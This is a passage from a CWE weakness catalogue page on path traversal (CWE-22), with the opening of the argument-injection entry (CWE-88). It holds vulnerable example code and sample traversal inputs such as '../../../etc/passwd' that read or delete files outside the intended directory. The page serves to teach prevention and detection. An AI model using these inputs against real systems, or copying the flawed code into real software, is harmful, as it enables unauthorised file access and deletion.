Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.

If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.

Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.

In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 668 Exposure of Resource to Wrong Sphere
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 706 Use of Incorrectly-Resolved Name or Reference
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 23 Relative Path Traversal
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 36 Absolute Path Traversal
CanFollow Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 20 Improper Input Validation
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 73 External Control of File Name or Path
CanFollow Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 172 Encoding Error
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1219 File Handling Issues
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 706 Use of Incorrectly-Resolved Name or Reference
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Nature Type ID Name
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 23 Relative Path Traversal
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 36 Absolute Path Traversal
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Nature Type ID Name
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 23 Relative Path Traversal
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 36 Absolute Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

(bad code)
Example Language: Perl 
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<", $profilePath) || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
print "<li>$_</li>\n";
}
print "</ul>\n";

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

(attack code)
 
../../../etc/passwd

The program would generate a profile pathname like this:

(result)
 
/users/cwe/profiles/../../../etc/passwd

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

(result)
 
/etc/passwd

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.


Example 2

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

(bad code)
Example Language: Java 
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.


Example 3

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

(bad code)
Example Language: Perl 
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

(attack code)
 
../../../etc/passwd

will have the first "../" stripped, resulting in:

(result)
 
../../etc/passwd

This value is then concatenated with the /home/user/ directory:

(result)
 
/home/user/../../etc/passwd

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).


Example 4

The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

(bad code)
Example Language: Java 
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
File f = new File(path);
f.delete()
}

An attacker could provide an input such as this:

(attack code)
 
/safe_dir/../important.dat

The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory


Example 5

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

(good code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(bad code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {
...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();


} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.


Example 6

This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.

(bad code)
Example Language: Python 
import os
import sys
def main():
filename = sys.argv[1]
path = os.path.join(os.getcwd(), filename)
try:
with open(path, 'r') as f:
file_data = f.read()
except FileNotFoundError as e:
print("Error - file not found")
main()

However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file.

(good code)
Example Language: Python 
import os
import sys
def main():
filename = sys.argv[1]
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")
if path.startswith("/home/cwe/documents/"):
try:
with open(path, 'r') as f:
file_data = f.read()
except FileNotFoundError as e:
print("Error - file not found")
main()

The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. The path is checked against an expected directory (/home/cwe/documents); otherwise, an attacker could provide relative path sequences like ".." to cause normpath() to generate paths that are outside the intended directory (CWE-23). By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/cwe/documents, and the user inputs /etc/passwd, the resulting path will be /home/cwe/documents/etc/passwd. The user is therefore contained within the current working directory as intended.


+ Observed Examples
Reference Description
Large language model (LLM) management tool does not validate the format of a digest value (CWE-1287) from a private, untrusted model registry, enabling relative path traversal (CWE-23), a.k.a. Probllama
Chain: API for text generation using Large Language Models (LLMs) does not include the "\" Windows folder separator in its denylist (CWE-184) when attempting to prevent Local File Inclusion via path traversal (CWE-22), allowing deletion of arbitrary files on Windows systems.
Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
Python package manager does not correctly restrict the filename specified in a Content-Disposition header, allowing arbitrary file read using path traversal sequences such as "../"
Python package constructs filenames using an unsafe os.path.join call on untrusted input, allowing absolute path traversal because os.path.join resets the pathname to an absolute path that is specified as part of the input.
directory traversal in Go-based Kubernetes operator app allows accessing data from the controller's pod file system via ../ sequences in a yaml file
Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
a Kubernetes package manager written in Go allows malicious plugins to inject path traversal sequences into a plugin archive ("Zip slip") to copy a file outside the intended directory
Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV.
Go-based archive library allows extraction of files to locations outside of the target folder with "../" path traversal sequences in filenames in a zip file, aka "Zip Slip"
Newsletter module allows reading arbitrary files using "../" sequences.
Chain: PHP app uses extract for register_globals compatibility layer (CWE-621), enabling path traversal (CWE-22)
FTP server allows deletion of arbitrary files using ".." in the DELE command.
FTP server allows creation of arbitrary directories using ".." in the MKD command.
FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences.
Software package maintenance program allows overwriting arbitrary files using "../" sequences.
Bulletin board allows attackers to determine the existence of files using the avatar.
PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function.
Overwrite of files using a .. in a Torrent file.
Chat program allows overwriting files using a custom smiley request.
Chain: external control of values for user's desired language and theme enables path traversal.
Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness: High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • File Processing
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 635 Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 715 OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 723 OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 743 CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 802 2010 Top 25 - Risky Resource Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 813 OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 865 2011 Top 25 - Risky Resource Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 877 CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 932 OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 981 SFP Secondary Cluster: Path Traversal
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1031 OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1131 CISQ Quality Measures (2016) - Security
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1179 SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1308 CISQ Quality Measures - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1404 Comprehensive Categorization: File Handling
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

Other

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Path Traversal
OWASP Top Ten 2007 A4 CWE More Specific Insecure Direct Object Reference
OWASP Top Ten 2004 A2 CWE More Specific Broken Access Control
CERT C Secure Coding FIO02-C Canonicalize path names originating from untrusted sources
SEI CERT Perl Coding Standard IDS00-PL Exact Canonicalize path names before validating them
WASC 33 Path Traversal
Software Fault Patterns SFP16 Path Traversal
OMG ASCSM ASCSM-CWE-22
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 11, "Directory Traversal and Using Parent Paths (..)" Page 370. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-185] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". <http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)>.
[REF-186] Johannes Ullrich. "Top 25 Series - Rank 7 - Path Traversal". SANS Software Security Institute. 2010-03-09. <https://www.sans.org/blog/top-25-series-rank-7-path-traversal/>. URL validated: 2023-04-07.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-22. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
[REF-1448] Cybersecurity and Infrastructure Security Agency. "Secure by Design Alert: Eliminating Directory Traversal Vulnerabilities in Software". 2024-05-02. <https://www.cisa.gov/resources-tools/resources/secure-design-alert-eliminating-directory-traversal-vulnerabilities-software>. URL validated: 2024-07-14.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution Date Contributor Organization
2022-07-11 Nick Johnston
Identified weakness in Perl demonstrative example
2024-02-29
(CWE 4.15, 2024-07-16)
Abhi Balakrishnan
Provided diagram to improve CWE usability
2024-11-01 Drew Buttner MITRE
Identified weakness in "good code" for Python demonstrative example
+ Modifications
Modification Date Modifier Organization
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08 CWE Content Team MITRE
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14 CWE Content Team MITRE
updated Description
2008-11-24 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2009-07-27 CWE Content Team MITRE
updated Potential_Mitigations
2010-02-16 CWE Content Team MITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations
2010-12-13 CWE Content Team MITRE
updated Potential_Mitigations
2011-03-29 CWE Content Team MITRE
updated Potential_Mitigations
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, References, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2013-02-21 CWE Content Team MITRE
updated Observed_Examples
2013-07-17 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2014-06-23 CWE Content Team MITRE
updated Other_Notes, Research_Gaps
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2017-01-19 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-05-03 CWE Content Team MITRE
updated Demonstrative_Examples
2017-11-08 CWE Content Team MITRE
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
2018-03-27 CWE Content Team MITRE
updated References, Relationships
2019-01-03 CWE Content Team MITRE
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships, Type
2019-09-19 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2020-06-25 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2021-07-20 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2022-06-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2022-10-13 CWE Content Team MITRE
updated Observed_Examples, References
2023-01-31 CWE Content Team MITRE
updated Common_Consequences, Description, Detection_Factors
2023-04-27 CWE Content Team MITRE
updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2024-07-16
(CWE 4.15, 2024-07-16)
CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References
2024-11-19
(CWE 4.16, 2024-11-19)
CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2010-02-16 Path Traversal

CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Weakness ID: 88
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
+ Extended Description

When creating commands using interpolation into a string, developers may assume that only the arguments/options that they specify will be processed. This assumption may be even stronger when the programmer has encoded the command in a way that prevents separate commands from being provided maliciously, e.g. in the case of shell metacharacters. When constructing the command, the developer may use whitespace or other delimiters that are required to separate arguments when the command. However, if an attacker can provide an untrusted input that contains argument-separating delimiters, then the resulting command will have more arguments than intended by the developer. The attacker may then be able to change the behavior of the command. Depending on the functionality supported by the extraneous arguments, this may have security-relevant consequences.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality
Integrity
Availability
Other

Technical Impact: Execute Unauthorized Code or Commands; Alter Execution Logic; Read Application Data; Modify Application Data

An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.
+ Potential Mitigations

Phase: Implementation

Strategy: Parameterization

